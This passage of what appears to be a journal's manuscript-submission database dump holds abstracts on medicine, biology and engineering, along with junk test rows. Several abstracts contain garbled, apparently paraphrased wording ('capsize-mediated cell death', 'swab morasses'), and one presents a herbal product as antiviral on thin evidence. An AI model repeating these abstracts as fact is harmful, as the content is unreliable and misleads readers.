Nigeria Demographic and Health Survey (2018) to investigate the influence of socio-demographic factors and intimate partners’ violence on birth spacing in Nigeria at univariate, bivariate and multivariate level (binary logistic regression). The study revealed that 48.2% of women practiced a minimum of two years’ birth spacing and that intimate partners’ violence significantly influenced child spacing in Nigeria after controlling for confounding variables. The current age of mothers, region and wealth index significantly associated with birth spacing in Nigeria at p-value < 0.05. The study therefore recommends that policy and programs should address the significant factors that influence birth spacing in order to achieve the aim of reducing fertility and improved maternal health in Nigeria.\r\n\r\n',' Child Spacing, Violence, Intimate partners Nigeria.',3202,'','2022-07-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-07-18',1),(12854,13078,971,0,'','Diagnosis of Erythemato-Squamous Skin Gaussian Naive Bayes method ','',14,1,'Innovations in Clinical Labratory Research','','',3249,'','2022-07-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-07-18',1),(12864,13078,971,0,'','Diagnosis of Erythemato-Squamous Skin Gaussian Naive Bayes method ','',2,1,'Innovations in Clinical Labratory Research','Erythema squamous skin diseases reflects similar findings on clinical examination. A specialist doctor can classify these diseases by using clinical and histopathological features of patient. In this study, we developed an algorithm to remove outlier data which not incompatible with the disease class. This algorithm decides on its own by cleaning outliers from the database using the classification score results as feedback. It’s allows us to detect a threshold value to clean out outliers from the database for best classification score. Logistic Regression, KNeihgbors Classifier, Support Vector Classifier, Gaussian Naive Bayes, Decision Tree Classifier and Random Forest Classifier methods applied to the outlier free dataset','Skin, Diseases,Clinical ,Random Forest',3249,'','2022-07-19',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-07-19',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2022-07-20',1),(12847,13071,91,0,'','MSc.','',14,1,'Drug development and research on COVID-19','The incidence and prevalence of respiratory diseases have increased over the world since SARS-CoV-2 and its variants have caused million deaths and infections. For this reason, this study seeks to determine the antiviral activity of an oral solution through an observational study. There were analyzed the number of antibodies generated pre- and post-treatment of having consumed a product called BretVir® by the Anti Spike SARS-CoV-2 test (U/mL) in 177 people. This oral solution was formulated through the ancient knowledge of the activity from the consortium of the Amazonian plants: Uncaria tomentosa, Kalanchoe gastonnis – bonnieri, Kalanchoe pinnata, Cinchona officinalis and Piper peltatum. The results obtained of the pre-treatment individuals presented a mean of 297.3 U/mL, while post-treatment of having consumed BretVir® the mean was 1358.3 U/mL. For this, it was possible to conclude that the oral solution can present antiviral and immunomodulatory effects due to the responses of the study individuals.','BretVir; antiviral; immunomodulatory; Anti Spike SARS-CoV-2',4773,'','2022-07-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-07-20',1),(12855,13070,996,0,'','afawffdawdawdwa','',14,0,'awdawdwad','awdawdawd','awdawdawdawdw',5068,'','2022-07-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-07-20',1),(12866,13078,971,0,'','Diagnosis of Erythemato-Squamous Skin Gaussian Naive Bayes method ','',2,1,'Innovations in Clinical Labratory Research','Erythema squamous skin diseases reflects similar findings on clinical examination. A specialist doctor can classify these diseases by using clinical and histopathological features of patient. In this study, we developed an algorithm to remove outlier data which not incompatible with the disease class. This algorithm decides on its own by cleaning outliers from the database using the classification score results as feedback. It’s allows us to detect a threshold value to clean out outliers from the database for best classification score. Logistic Regression, KNeihgbors Classifier, Support Vector Classifier, Gaussian Naive Bayes, Decision Tree Classifier and Random Forest Classifier methods applied to the outlier free dataset.','Skin diseases, Erythema squamous, Gaussian Naive Bayes,clinical',3249,'','2022-07-20',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-07-21',1),(12896,13116,251,0,'','Dr','',14,0,'','Abstract\r\nHepatitis C virus (HCV) is the one of the major infections transmitted through the bloodstream. Thalassemia and hemophilia patients because of regular blood transfusions are more prone to HCV infection. This study conducts to determine the prevalence of HCV, HCV viral load, genotype pattern and risk factors in thalassemia and hemophilia patients in Iran. \r\nAmong 4916 suspected HCV infection patients, referred to Prof. Alborzi Clinical Microbiology Research Center, Shiraz, Iran, from 2004 to 2019, the HCV seroprevalence rate and the HCV RNA load and genotypes was determined by the enzyme-linked immunosorbent assay and one-step Taq Man real-time PCR.\r\nAmong 4916 patients were assessed for the study, 440 were with thalassemia and 162 with hemophilia. The prevalence of HCV-Ab positivity among thalassemia and hemophilia patients was 58.9% and 87%, respectively. The most prevalent genotype was Gt-1, which was detected in 56.81% of the patients whose genotypes were assessed. The HCV viral load was generally higher among HCV seropositive patients compared to HCV seronegative patients.\r\nPrevalence of hepatitis C among hemophilia and thalassemia patients was high. Since in these high-risk groups didn’t find any independent risk factor for HCV, it can be concluded that multi-transfusion is the only predictor for hepatitis C.\r\n','Hepatitis C Virus, Thalassemia, Hemophilia, Risk Factors, Blood Transfusion, Real-Time PCR',784,'','2022-08-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-08-02',1),(12893,13113,326,0,'','Complications in colorectal surgery: risk factors ','',19,3,'','Colorectal surgery is associated with a lesser threat for infections than utmost other surgical fortes and is considered an outlier for surgical point infections( SSI). Reducing the prevalence of infections, especially SSIs, remains a major challenge in colorectal surgery. Prevention of SSIs can be achieved by several styles, including optimized preoperative case medication, perioperative bowel medication, strict adherence to antibiotic prophylaxis guidelines, increased intraoperative oxygen delivery, crack irrigation, conservation of intraoperative normothermia, and postoperative glycemic control.','',2505,'','2022-07-29',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-03',1),(12894,13114,91,0,'','In­silico identification of phytocompounds as inhibitors to two key enzymes of Shikimate pathway of Mycobacterium tuberculosis for discovery of new lead molecule(s) for treatment of Tuber culosis.','',14,3,'','Tuberculosis(TB) is one of the most lethal respiratory infections caused by the organism\r\nMycobacterium tuberculosis. Several drugs are available for the treatment of TB. Numerous reports\r\nhave demonstrated the cause and emergence of multi drug resistance of M. tuberculosis. To improve the\r\ntreatment of these strains , there is rising need to develop anti­TB effective drugs.\r\nThis study comprises of evaluation of two enzymes of Mycobacterial shikimate pathway , whose\r\nstructures were obtained from PDB databank and 11 phytocompounds of Achyranthes aspera that were\r\nselected through GC­MS analysis. The aim of the study was to define a portable anti­tuberculosis drug\r\nwith lesser toxicity and higher efficacy. For fulfiling the demanded objectives , in silico methodology was\r\napplied. Docking analysis was done by Autodock vina. Based on the top binding score ,selected\r\ncompounds were further analyzed by ADME properties to find safe and effective drug like compounds.\r\nThe interaction studies were done by using PyMol. Proteins with PDB ids 3N76, 3QBE have high binding\r\naffinity with compound2 and compound 9. The present study provide a perfect way to analyze the effect\r\nof phytocomponds on the enzymes that are predicted to be involved in Mycobacterial shikimate pathway\r\nand thought to be better therapeutic target.','Achyranthes aspera, ADMET, RO5, molecular docking, shikimate pathway',4940,'','2022-07-29',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-03',1),(12915,13106,667,0,'','Thermodynamic and dynamic modeling by four stroke diesel engine of a single cylinder        ','',5,3,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion','Thermodynamics, Modelled,Conrod motion,Translational Research and Clinical Intervention,Translational Stroke,Translational Neurology.',3933,'','2022-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-08-16',1),(12903,13125,1020,0,'','A Fundamental Biological Approach to Probe Apoptotic Stimuli for Cell Metabolism','',19,3,'','Reduced glycolytic and mitochondrial respiration rates are common options of capsize-mediated cell death that will replicate key events contributive to death. However, it\'s unclear to what extent the speed changes is explained by direct alterations within the dynamics of the participating reactions, as changes within the concentrations of intermediates additionally have an effect on reaction rates. Flux changes that are explained primarily by direct effects are seemingly to be prime targets of the pathways that signal death, and therefore necessary contributors to capsize-mediated cell death. Management analysis concepts relevant to distinctive such effects are reviewed. Metabolic flux measurements Are essential for this approach, however is technically tough, notably once mistreatment adherent cells like neurons. An easy technique is delineating that renders such measurements possible','Apoptosis; glycolysis; mitochondria',5042,'','2022-08-08',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-16',1),(12902,13124,1020,0,'','Instability of Mitochondrial DNA and Metabolic Shift in Human Cancers','',19,3,'','A shift in aldohexose metabolism from biological process to metabolic process. Mitochondrial defects are planned to play a vital role within the initiation and progression of varied forms of cancer. Within the past decade, a large spectrum of mutations of mtDNA has been known in human cancers. It’s been incontestable and mentioned that activation of oncogenes or mutation of growth suppressor genes, like p53, will cause upregulation of glycolytic enzymes, inhibition of the biogenesis and assembly of metabolism protein complexes like hemoprotein. These findings might justify the well documented phenomena of elevated aldohexose uptake and mitochondrial defects in cancers. During this article, we tend to review the corporeal mtDNA alterations with clinic pathological correlations in human cancers, and their potential roles in tumor genesis and metastasis. The signaling pathways concerned within the shift from aerobic metabolism to metabolic process in human cancers','Cancer; Mitochondrial DNA; Somatic mutation; Genome instability',5042,'','2022-08-08',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-16',1),(12909,13130,326,0,'','Ankle fracture and fusion, Ankle replacement','',19,0,'','Ankle fractures are the most frequent fractures seen at the major trauma centers, as far as foot and ankle injuries are concerned. In addition, they account for 10% of all fractures (second in frequency behind proximal femoral fractures) and are estimated to have an incidence of about 184/100,000/year in the USA. Moreover, the prevalence and incidence of these lesions have increased within the last three decades, especially in young men and elderly women, with a mean age of 46 years, significantly higher than the age of isolated ankle sprains. Furthermore, it is anticipated that the number of these lesions could be expected to triple by 2023.','Aofas; complication; injury; fracture; short form 36; surgery; malleolar; ankle and foot; open reduction internal fixation; plate',2505,'','2022-08-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-08-16',1),(12928,13149,326,0,'','Ankle fracture and fusion, Ankle replacement','',19,0,'','Ankle fractures are the most frequent fractures seen at the major trauma centers, as far as foot and ankle injuries are concerned. In addition, they account for 10% of all fractures (second in frequency behind proximal femoral fractures) and are estimated to have an incidence of about 184/100,000/year in the USA. Moreover, the prevalence and incidence of these lesions have increased within the last three decades, especially in young men and elderly women, with a mean age of 46 years, significantly higher than the age of isolated ankle sprains. Furthermore, it is anticipated that the number of these lesions could be expected to triple by 2023.\r\nAlthough these fractures have traditionally been considered to have a good prognosis, more recent studies suggest that between 17% and 24% of patients may not have a satisfactory outcome. Additionally, there are very few studies evaluating predictors of both health-related quality of life (HRQL) and functional outcomes after a surgically treated ankle fracture. Moreover, in many cases their interpretation is limited due to methodological problems, such as poor sample selection, high loss of follow-up, inability to describe the predictive value of individual variables or combinations of variables or the use of a non-validated measure for HRQL and functional outcomes.\r\nSurgery on an ankle may be needed to treat fracture (broken bone), arthritis, tendonitis and problems that can’t be resolved with therapy and medications. Surgery for an ankle fracture is done if the bones in the ankle are unstable and need more support to heal. Milder fractures, when the ankle is stable and the broken bone isn’t out of place, may not need to be surgically repaired.\r\n','Aofas; complication; injury; fracture; short form 36; surgery; malleolar; ankle and foot; open reduction internal fixation; plate',2505,'','2022-08-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-08-18',1),(12927,13148,326,0,'','Appendectomy and Symptoms of Appendicitis','',19,0,'','An appendectomy is the surgical removal of the appendix. It’s a common emergency surgery that’s performed to treat appendicitis, an inflammatory condition of the appendix. The appendix is a small, tube-shaped pouch attached to your large intestine. It’s located in the lower right side of your abdomen. The exact purpose of the appendix isn’t known. However, it’s believed that it may help us recover from diarrhea, inflammation, and infections of the small and large intestines. These may sound like important functions, but the body can still function properly without an appendix. An appendectomy is the surgical removal of the appendix. It is a common procedure that surgeons usually carry out in an emergency. A person is under general anesthesia when doctors remove the appendix, meaning they should not feel any pain during the procedure. However, the surgical area may become tender as it heals.','Laparoscopic appendectomy; Suspected appendicitis',2505,'','2022-08-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-08-18',1),(12931,13147,73,0,'','Cornstarch protocol for nocturnal hypoglycemia ','',15,1,'Clinical Neurology and Translational Neuroscience','','',326,'','2022-08-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-08-19',1),(12943,13106,667,0,'','Thermodynamic and dynamic modeling by four stroke diesel engine of a single cylinder','',19,3,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion. The Newton method was used to get the motion equations. Hydrodynamic and asperity frictions as well as gas forces will be included in motion equations','thermodynamics and dynamic modelling,Unreacted hydrocarbons, Carbon monoxide, Nitrogen Oxides ,Numerous',3933,'','2022-08-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2022-08-20',1),(12937,13157,959,0,'','International Association for Lung Cancer Research 2019 Coronavirus Disease Impact Study on Global Lung Cancer Clinical Trials','',19,3,'','To evaluate the consequences of the worldwide coronavirus illness 2019 (COVID-19) pandemic on carcinoma trials, we tend to surveyed investigators and picked up combination enrolment information for carcinoma trials across the planet before and through the pandemic. A Data assortment Survey collected combination monthly enrolment numbers from 294 international carcinoma trials for 2019 to 2020. A 64-question Action Survey evaluated the impact of COVID-19 on clinical trials and known mitigation methods enforced. Carcinoma is that the leading reason for cancer-related death within the us, with a mean five-year survival rate of fifteen p.c. Smoking remains the predominant risk issue for carcinoma.','Lung cancer; lung Cancer Screening; Pre clinical model; Organoids ',5400,'','2022-08-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-20',1),(12945,13162,91,0,'','Biphase Drug Delivery Systems Carrying Nanocomposite Particles','',14,3,'','Magnetite nanoparticles and poly (D,L-lactide-co-glycolide) (PLGA) were combined to create drug-carrying magnetic nanocomposite spheres for magnetic targeted drug delivery. Through the chemical coprecipitation of ferric and ferrous chloride salts in the presence of a potent basic solution, magnetic nanoparticles of magnetite (average size: 13 nm) were created (ammonium hydroxide). For the synthesis of nanocomposite spheres, an oil-in-oil emulsion/solvent evaporation process was used, with agitation lasting 1.5 to 2 hours at 7000 rpm. Specifically, acetonitrile (oily phase I) was used to dissolve the PLGA and drug, which was subsequently mixed with magnetic nanoparticles. Next, Span 80- and viscous paraffin oil-containing droplets were added in a dropwise fashion (oily phase II). Using dynamic laser light scattering (DLLS), scanning electron microscopy (SEM), transmission electron microscopy (TEM), and a superconducting quantum interference device, the nanocomposite spheres with various amounts (0%, 10%, 20%, and 25%) of magnetite were assessed in terms of particle size, morphology, and magnetic properties (SQUID). According to the findings, nanocomposite spheres with diameters ranging from 200 nm to 1.1 m are superparamagnetic over blocking temperatures close to 40 K and reach magnetization saturation beyond 5,000 Oe at ambient temperature.\r\nSuccessful attempts have been made to synthesise and analyse pseudopolyrotaxanes made composed of polyethylene glycol axes with end thymine groups and -cyclodextrin rings. The principal drug delivery system, PPR-Fl, was created by conjugating fluorescein, a model drug, to the hydroxyl functional groups of the cyclodextrin rings of PPR via ester bonds. By forming hydrogen bonds with a complementary molecule like polycitric acid, citric acid, or adenine, the PPR-Fl was finally sealed off. This research sought to modulate the noncovalent interactions between stoppers and thymine end groups in order to regulate the release of fluorescein-cyclodextrin conjugates from PPR-Fl, which served as secondary drug delivery systems. It was discovered that pH had the ability to regulate the rate of Fl-CD release from PPR-Fl.','Pseudopolyrotaxanes; Nanoparticles; Magnetite',4127,'','2022-08-19',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-20',1),(12952,13164,326,0,'','Minimally Invasive Surgeries: Percutaneous Placement of Screws and Rods','',19,3,'','During the last 10 years, minimally invasive surgery has influenced the techniques used in every specialty of surgical medicine. This development has not only led to the replacement of conventional procedures with minimally invasive ones, but has also stimulated surgeons to reevaluate conventional approaches with regard to perioperative parameters such as pain medication. However, two major drawbacks have emerged with the introduction of this new technique: firstly, the prolonged learning curve for most surgeons, in comparison with the learning process in open surgery; and secondly, increased costs due to investment in the equipment required and the use of disposable instruments, as well as longer operating times. In the various health-care systems around the world, these increased costs are not always compensated for by shorter hospital stays. This review focuses on major areas of indication for minimally invasive surgery in the gastrointestinal tract. These include functional disorders of the upper and lower gastrointestinal tract, obesity surgery, minimally invasive techniques in gastric and hepatobiliary surgery and in other solid organs, and laparoscopic colorectal surgery. The shortening of the hospitalization period has led to increasing use of outpatient laparoscopic surgery, and many centers specializing in day-care surgery are using these techniques [1]. The frontiers are being pushed even further, as the size of the instruments is reduced to achieve better cosmetic results. Clinical research has also focused on the topic of expanding the indications for minimally invasive approaches in the elderly and in high-risk patients, to take advantage of the shorter hospital stays and reduced surgical trauma that are possible. A considerable amount of basic research has been carried out on the stress response during and after minimally invasive procedures, and an improved immune response with the minimally invasive approach has been observed, leading to better results after extensive oncological procedures. Robotic surgery and telesurgery involve new computer-aided methods that allow greater precision in surgical technique, as well as offering an opportunity to supply surgical skill and expertise remotely, over long distances [2]. Minimally invasive surgical techniques are thus now fully established in routine use, and the indications are continuing to expand.','Pneumothorax; minimally invasive procedures; video-assisted thoracoscopic surgery (VATS)',2505,'','2022-08-19',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-20',1),(12942,13160,971,0,'','Psychosocial etiology of disturbed sexual functioning in Heterosexual Adults','',19,3,'','Studies have proposed that body picture is related with dating uneasiness, but are restricted by little test sizes, particular operationalization of body picture, and a need of thought of the concurrent impacts of social physical make-up anxiety. To overcome these crevices within the literature, we inquired an internet test of 501 hetero developing grown-ups from the Joined together Kingdom to total measures of multidimensional body picture, social physical make-up uneasiness, and dating uneasiness. Correlational examinations shown that more negative body picture and social physical make-up uneasiness were both essentially related with more noteworthy dating uneasiness. In any case, in various leveled relapses, the fluctuation accounted for by body picture factors was generally non-significant and frail after bookkeeping for the impacts of social physical make-up uneasiness. In exploratory examinations, we found that social physical make-up uneasiness interceded the relationship between the body picture aspect of appearance introduction and dating uneasiness.','Young Women, Appearance orientation, Anxiety, Heterosexual adults',4933,'','2022-08-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-22',1),(12957,13106,667,0,'','Thermodynamic and dynamic modeling by four stroke diesel engine of a single cylinder','',19,3,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion. The Newton method was used to get the motion equations. Hydrodynamic and asperity frictions as well as gas forces will be included in motion equations','Thermodynamics, Hydrodynamic, asperity frictions',3933,'','2022-08-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-23',1),(12959,13070,996,0,'','wdawdawawddawd','',15,0,'awdwad','dawd','awdwad',5404,'','2022-08-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-08-23',1),(12962,13171,959,0,'','International Association for Lung Cancer Research 2019 Coronavirus Disease Impact Study on Global Lung Cancer Clinical Trials','',19,3,'','To evaluate the consequences of the worldwide coronavirus illness 2019 (COVID-19) pandemic on carcinoma trials, we tend to surveyed investigators and picked up combination enrolment information for carcinoma trials across the planet before and through the pandemic. A Data assortment Survey collected combination monthly enrolment numbers from 294 international carcinoma trials for 2019 to 2020. A 64-question Action Survey evaluated the impact of COVID-19 on clinical trials and known mitigation methods enforced. Carcinoma is that the leading reason for cancer-related death within the us, with a mean five-year survival rate of fifteen p.c. Smoking remains the predominant risk issue for carcinoma.','Lung cancer; lung Cancer Screening; Pre clinical model; Organoids ',5400,'','2022-08-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-23',1),(12961,13170,639,0,'','Fresh water fisheries and Methodology','',19,3,'','Freshwater aquaculture production in 2011 was 44.3 million tons or 29% of world fisheries production. Roughly 95% of this production was from Asia – China was the leading country. Ponds are the common culture system, but raceways, cages, net pens, and water re-use systems are important. Seed stock for grow-out is produced in hatcheries from farm-reared brood stock. Fertilizers, feeds and mechanical aeration increase production in ponds. Competition with agriculture for land and water, wetland destruction, water pollution, and lack of fish meal and oil for use in feeds could limit aquaculture. There is an effort to avoid these impacts.','Freshwater aquaculture , culture system',1771,'','2022-08-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-23',1),(12963,13172,639,0,'','Aquatic (Both freshwater and marine) Systems: Marine Submarine Ecosystem','',19,3,'','Submarine Ecosystems are classified into two types as brackish ecosystems and marine ecosystems. The territories of the open swell and conterminous littoral zones are classified under marine ecosystems. In addition to these, marine ecosystems also include the swab morasses and washes located along the props and swash mouths. Within the littoral zone, several unique territories like arms, tidal coves, and foreshore ecosystems are also included. Aimilar zones including arms contain the niche of both brackish and swab water. The subject of Physical terrain includes the study of all these ecosystems. The following aspects are to be studied under marine ecosystems Characteristics of Marine Ecosystems, abysses, Arms, On- reinforcement ecosystems, Coral reefs. Life on earth is supported by the girding ecological conditions and the natural coffers. mainlands and abysses are the two major divisions, comprising of all the life and also the ecosystems throughout the world. About 75 of the earth’ face is covered with oceanic waters which has a veritably rich wealth of marine life. The ocean is a major source of food, energy, and mineral coffers. Abysses also control the globalclimate. However, also we\'ve to say that beast biomass dominates the oceanic waters, if we say that land is dominated by factory biomass. Water- grounded living surroundings are called as submarine ecosystems. Submarine Ecosystems are classified into two types as brackish ecosystems and marine ecosystems. The territories of the open swell and conterminous littoral zones are classified under marine ecosystems. In addition to these, marine ecosystems also include the swab morasses and washes located along the props and swash mouths. Within the littoral zone, several unique territories like arms, tidal coves, and foreshore ecosystems are also included. Similar zones including arms contain the niche of both brackish and swab water. The subject of Physical terrain includes the study of all these ecosystems.','Submarine Ecosystem; Biodiversity; Conservation; Restoration',1771,'','2022-08-22',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-23',1),(12971,13180,667,0,'','Four Stroke Diesel Engine of a Single Cylinder by Thermodynamic and Dynamic Modeling','',19,3,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion. The Newton method was used to get the motion equations. Hydrodynamic and asperity frictions as well as gas forces will be included in motion equations.','Translational Research; Research Evaluation; Methods For Evaluating; Bibliometric Analysis; Biomedical Translational Research',3933,'','2022-08-23',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-24',1),(12976,13188,959,0,'','International Lung Cancer Research Association Impact of Coronavirus Disease on Clinical Trials for Lung Cancer','',19,3,'','To evaluate the consequences of the worldwide coronavirus illness 2019 (COVID-19) pandemic on carcinoma trials, we tend to surveyed investigators and picked up combination enrolment information for carcinoma trials across the planet before and through the pandemic. A Data assortment Survey collected combination monthly enrolment numbers from 294 international carcinoma trials for 2019 to 2020. A 64-question Action Survey evaluated the impact of COVID-19 on clinical trials and known mitigation methods enforced. Carcinoma is that the leading reason for cancer-related death within the us, with a mean five-year survival rate of fifteen p.c. Smoking remains the predominant risk issue for carcinoma.','Lung cancer; lung Cancer Screening; Pre clinical model; Organoids ',5399,'','2022-08-23',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-27',1),(12966,13175,667,0,'','Interrogation of Electronic Health Record Data by biomedical researcher','',19,3,'','For research purposes such as cohort identification, phenotyping, pharmacovigilance, and public health surveillance, electronic health records are an essential data source. Enabling effective and independent EHR data interrogation by end users, such as biomedical researchers, is essential to achieving the promise of EHR data for advancing clinical research. This essay examines contemporary strategies and significant methodological issues for achieving this goal. With the goal of making it easier for end users to query EHR data, we modified a previously published conceptual framework for interactive information retrieval, which identifies three entities: user, channel, and source. We demonstrate that the current development in biomedical informatics is predominantly driven by support for query execution and information modelling, mostly as a result of emphasis on the creation of data infrastructure. Access through self-service query tools, but has overlooked the necessity for user help during laborious and erroneous repetitive query formulation processes. On the other hand, complex theories and techniques for user modelling and question formulation support have been provided in the information science literature.','Phenotyping; Pharmacovigilance; Biomedical Informatics',3933,'','2022-08-23',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-27',1),(12967,13177,639,0,'','Fish genetics and genome: RNA Preparation and cDNA Synthesis','',19,3,'','Advancing the production efficiency and profitability of aquaculture is dependent upon the ability to utilize a diverse array of genetic resources. The ultimate goals of aquaculture genomics, genetics and breeding research are to enhance aquaculture production efficiency [1], sustainability, product quality, and profitability in support of the commercial sector and for the benefit of consumers. In order to achieve these goals, it is important to understand the genomic structure and organization of aquaculture species, and their genomic and phenomic variations, as well as the genetic basis of traits and their interrelationships. In addition, it is also important to understand the mechanisms of regulation and evolutionary conservation at the levels of genome, transcriptome, proteome, epigenome, and systems biology [2]. With genomic information and information between the genomes and phenomes, technologies for marker/causal mutation-assisted selection, genome selection, and genome editing can be developed for applications in aquaculture. A set of genomic tools and resources must be made available including reference genome sequences and their annotations (including coding and non-coding regulatory elements), genome-wide polymorphic markers, efficient genotyping platforms, high-density and high-resolution linkage maps, and transcriptome resources including non-coding transcripts. Genomic and genetic control of important performance and production traits, such as disease resistance, feed conversion efficiency, growth rate, processing yield, behaviour, reproductive characteristics, and tolerance to environmental stressors like low dissolved oxygen, high or low water temperature and salinity, must be understood. QTL need to be identified, validated across strains, lines and populations, and their mechanisms of control understood. Causal gene(s) need to be identified [3]. Genetic and epigenetic regulation of important aquaculture traits need to be determined, and technologies for marker-assisted selection, causal gene/mutation-assisted selection, genome selection, and genome editing using CRISPR and other technologies must be developed, demonstrated with applicability, and application to aquaculture industries. ','Fish genetics, Fish genome',1771,'','2022-08-23',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-27',1),(12999,13154,975,0,'','Covid-19 Impact on Diabetes patients ','',14,0,'','attached as a file','Covid-19, Diabetes, Comorbidity, Mortality.',4873,'','2022-08-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-08-29',1),(12996,13200,45,0,'','Dr  ','',2,0,'','Abstract\r\nThis research works explicitly explains “falling” experiences of the elderly in United kingdom and its impact on their healthy living. It takes a cursory detail of reflection of critical incidence using the experience of the “fall” as a case study of an elderly patient with a memory problem who has had several falls at home and has been hospitalised at one community hospital or the other. The paper further explained how pathetic it was about the incidence that led to the exploration of the use of reflection by the health worker to reflect on how the sudden effect of the “Fall” being experienced by the victim could be holistically explored and reflected upon following the Gibbs, mode of reflection to observe and reflect whether the critical incidence of the “fall” went well or not about the elderly woman as a typical example and subsequently discover the lapses  and proffer solution to improve the health condition of the elderly woman.This paper considered the use of reflection as an important instrument to rediscover the various health challenges whether on the part of service users or any administrative negligence and lapses discovered from the hospital health workers.It finally concluded that reflection practises during and after care delivery should be paramount as part of health care service delivery system to evaluate any critical incidence among the service users and should be included in the nursing education curriculum and by extension facilitating optimum healthy living among the patients especially the aged.','Reflection . Health workers.  service users. Fall.',687,'','2022-08-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-08-29',1),(12980,12845,667,0,'','Four Stroke Diesel Engine of a Single Cylinder by Thermodynamic and Dynamic Modeling','',19,3,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion. The Newton method was used to get the motion equations. Hydrodynamic and asperity frictions as well as gas forces will be included in motion equations.','Translational Research; Research Evaluation; Methods For Evaluating; Bibliometric Analysis; Biomedical Translational Research',3933,'','2022-08-24',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2022-08-30',1),(12992,13197,326,0,'','Gynecomastia Surgery: Methods','',19,3,'','Gynecomastia is the most common benign proliferation of the glandular Tissue of the male breast and is caused by an alteration of the balance between estrogen and androgen concentrations. In most cases, the treatment of choice is surgery. In this study, we aimed to indicate the efficacy of established surgical procedures for the correction of gynecomastia, as evaluated 